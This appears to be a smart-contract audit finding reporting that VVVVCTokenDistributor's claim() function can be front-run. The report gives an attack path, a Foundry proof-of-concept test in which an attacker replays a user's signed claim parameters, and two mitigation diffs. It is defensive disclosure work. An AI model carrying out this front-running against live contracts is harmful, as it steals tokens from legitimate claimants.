Bumpy Ginger Ram

High

# Attacker Can Front-Run `VVVVCTokenDistributor::claim()` Function and Steal Tokens Intended for `msg.sender`

## Description  

An attacker can monitor transactions calling the [VVVVCTokenDistributor::claim()](https://github.com/sherlock-audit/2024-11-vvv-exchange-update/blob/1791f41b310489aaa66de349ef1b9e4bd331f14b/vvv-platform-smart-contracts/contracts/vc/VVVVCTokenDistributor.sol#L102-L145) function in the mempool and front-run them by using the same submitted `ClaimParams` data, which includes the signature. This enables the attacker to steal the tokens intended for the first user who submitted the transaction.  

## Impact  

- **Damage:** High  
- **Likelihood:** High  

**Impact Details:** attacker can steal tokens from the legitimate user, that is supposed to claim, causing financial loss.

## Proof of Concept  

**Attack Path:**  

1. The attacker monitors the mempool, waiting for a transaction where a user calls `VVVVCTokenDistributor::claim(ClaimParams memory _params)`.  
2. Once the transaction is submitted, the attacker captures the `_params` data and submits his own transaction with higher gas, ensuring it is processed first.  
3. attacker successfully steals all tokens intended for the user (`msg.sender`), leading to user transaction to revert.  

**POC:**  

put following test inside `VVVVCTokenDistributor.unit.t.sol`:

```javascript
    // run the test with: "forge test --match-test test_frontRunning_ClaimFunction_LeadsToTokenTheft -vvv" 
    function test_frontRunning_ClaimFunction_LeadsToTokenTheft() external {

        // 1. setup phase
        uint256 amountToClaim = 1_000_000 * 1e18;
        uint256[] memory projectTokenAmountToProxyWallet = new uint256[](3);
        projectTokenAmountToProxyWallet[0] = amountToClaim;
        projectTokenAmountToProxyWallet[1] = amountToClaim;
        projectTokenAmountToProxyWallet[2] = amountToClaim;

        // generate and sign Claim Parameters so `user` can use it to claim from `VVVVCTokenDistributor` contract
        VVVVCTokenDistributor.ClaimParams memory _params = generateClaimParamsWithSignature(
                                                                                             user,
                                                                                             projectTokenProxyWallets,
                                                                                             projectTokenAmountToProxyWallet
                                                           );


        // 2. Simulate the user's `claim()` function call (commented out here for illustration purposes)

        // vm.startPrank(user);

        //     TokenDistributorInstance.claim(_params);

        // vm.stopPrank();


        // 3. Attacker observes the user transaction in the mempool, copies `_params`, and submits the same transaction with higher gas
        vm.startPrank(attacker);

            TokenDistributorInstance.claim{gas: 300000}(_params);

        vm.stopPrank();


        // 4. The user's transaction fails because the signature was already used by the attacker
        vm.startPrank(user);

            vm.expectRevert();
            TokenDistributorInstance.claim(_params);

        vm.stopPrank();


        // 5. Balance checks to verify the attacker theft and the user loss
        assertEq(ProjectTokenInstance.balanceOf(attacker), amountToClaim * 3);
        assertEq(ProjectTokenInstance.balanceOf(user), 0);


    }
```

## Recommended Mitigation  

There are two potential fixes. Developers can choose based on their preferred implementation approach:  

1. **Direct Transfer to `kycAddress`:**  
   
   Refactor the `claim()` function to directly send the claimable tokens to `ClaimParams.kycAddress`, ensuring the recipient is fixed and even if attacker front-runs it, he will get nothing out of it.

```diff
   function claim(ClaimParams memory _params) public {
       ...

       // Transfer tokens from proxy wallets to the verified address
       for (uint256 i = 0; i < _params.projectTokenProxyWallets.length; i++) {
           projectToken.safeTransferFrom(
               _params.projectTokenProxyWallets[i],
-              msg.sender,
+              _params.kycAddress,
               _params.tokenAmountsToClaim[i]
           );
       }

       ...
   }
```

2. **Add a Relayer Check:**  
   
   If enabling a relayer is necessary, add an `address relayer` field to `ClaimParams` and update the `claim()` function to verify that the caller is either the `kycAddress` or the `relayer`.  

```diff
   contract VVVVCTokenDistributor is VVVAuthorizationRegistryChecker {

       struct ClaimParams {
           address kycAddress;
+          address relayer; // Optional relayer if permitted
           address projectTokenAddress;
           address[] projectTokenProxyWallets;
           uint256[] tokenAmountsToClaim;
           uint256 nonce;
           uint256 deadline;
           bytes signature;
       }

       function claim(ClaimParams memory _params) public {
           ...

+          if (msg.sender != _params.kycAddress && msg.sender != _params.relayer) revert UnAuthorizedClaimer();

           ...
       }
   }
```  

Both mitigations will resolve the issue by preventing unauthorized claim attempts through front-running. The choice depends on whether relayer functionality is required.  